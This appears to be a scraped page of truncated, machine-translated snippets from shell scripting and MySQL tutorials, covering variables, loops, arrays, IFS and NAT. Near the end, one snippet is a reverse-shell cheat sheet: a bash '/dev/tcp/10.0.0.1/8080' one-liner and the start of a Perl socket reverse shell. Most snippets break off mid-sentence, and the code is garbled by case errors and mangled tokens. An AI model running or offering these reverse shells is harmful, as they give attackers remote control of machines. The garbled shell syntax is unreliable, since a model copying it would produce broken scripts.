Shell

MySQL table optimizer Brief:first, the analysis tablesecond, the inspection tablethird, optimize the tableiv. Table Data ImportFive, lock table operationfirst, the analysis table1.1. Command:ANALYZE [No_write_to_binlog | Local]table tbl_name [,

MySQL partition experimentBrief:I. Partitioning by partition typeII. Administrative Divisionexamples of partitions and non-partitioned tablesfirst, establish the partition to hash partition for example(1), non-linear hash partition1. Test table

[email protected] ceshi]# cat test.sh#!/bin/bash# test.shecho "-------------ISF is set to \"-seperator\ "------------"Ifs= "-seperator"; # Note that there is a minus sign (-) before SeperatorFor i in "[email protected]"; Do echo "@ ' $i '"; DoneFor

* Wildcard #注释 \ escape Character | Pipe character $ variable character; command delimiter!! Executes the previous command!$ the last parameter of the previous command ~ home directory & Command Background execution> correct override redirect >>

The shell is executed in sequence according to the script command.#!/bin/bash or #!/bin/sh /bin/sh is a soft link to/bin/bash# #描述信息ls/etc/echo "This is a test script"Wq save exit, file name test.sh not necessarily. Sh end, mainly for the sake of

Similar to other programming languages, the shell supports A for loop.The general format for A for loop is: for inch List Do command1 command2 ... CommandN DoneA list is a sequence of values (numbers, strings, and so on), each separated

Strings can be in single or double quotes, or without quotation marks.Single quotation marksstr='This isa string'Single-Quote String restrictions:1. Any character in a single quotation mark is output as is, and the variable in the single-quote

Arithmetic operatorsNative bash does not support simple math operations, but can be implemented with other commands, such as awk and expr,expr, which are most commonly used.Expr is an expression evaluation tool that uses it to perform evaluation

1.Bash variablesUser-defined variables #局部变量environment variable #全局变量Positional parameter variablesPre-defined variablesX=val #赋值$x #调用Variable defaults to character type and cannot be directly calculated"$x" ${x} variable overlay, that is, the

1. Shell to determine the file, whether the directory exists or has permissions2. #!/bin/sh3.4. Mypath= "/var/log/httpd/"5. myfile= "/var/log/httpd/access.log"6.7. # the-x parameter here determines whether the $mypath exists and has executable

Unlike a compiled language, shell scripting is an interpreted language.When executing such a program, The interpreter (interpreter) needs to read the source code that we wrote and convert it to the target (object), which is then run by the

When writing a program, the condition is used to determine whether the test condition is established. Many times, the judgment condition is multiple, this time needs to use the logical operator. What are the logical operators that are commonly used

has been learning, but also has been forgotten, today with the help of this blog post, to record their own learning process some of the most basic things!1. For#!/bin/bashfor i in {1..10}do echo $idoneScan the active IP in the target network segment#

Write a small script to calculate how many days you have for your birthday.#!/bin/bash#  Enter your birthday date, calculate how many days you have birthday # 2015 July 20 read -p   "Please enter your birthday date (YYYYMMDD): "  date1date_d=$ (echo 

1. Variable Reading example: Echo $PATH echo $ (PATH)2, Variable assignment: AA=ASDF Note: There is no space around the equals sign3. View all environment variables: env4. Id:echo $$ of the current thread5. Custom variable to environment variable:

A= (1 2 3 4 5) define an arrayecho $a show only 1 and cannot display all elements of the entire arrayecho ${a[@]} displays all elements of the entire array, and @ can also be written as *echo ${a[0]} displays only the first element in the array,

Bash supports one-dimensional arrays and does not qualify the size of the array, and the subscript of the array element is numbered starting with 0.Defining arraysIn the shell, the array is represented by parentheses, and the elements of the array

Bash [NOT generic, related to Linux distributions, tested successfully on Ubuntu]Bash-i >&/dev/tcp/10.0.0.1/8080 0>&1PerlPerl-e ' use Socket; $i = "10.0.0.1"; $p =1234;socket (S,pf_inet,sock_stream,getprotobyname ("TCP")); if (Connect (S),

Network address Translation (NAT) has a port translation called NAPT that is network addressWhat NAT is:Devices inside the network are assigned private IP addresses, but NAT-enabled routers retain one or moreAn Internet IP address that is valid

Special variable IFS in shell As I get used to the writing style of python, I often want to use bash to traverse the lines of a file and process the lines read. But in a strange situation, if my text is similar to this The first line.The second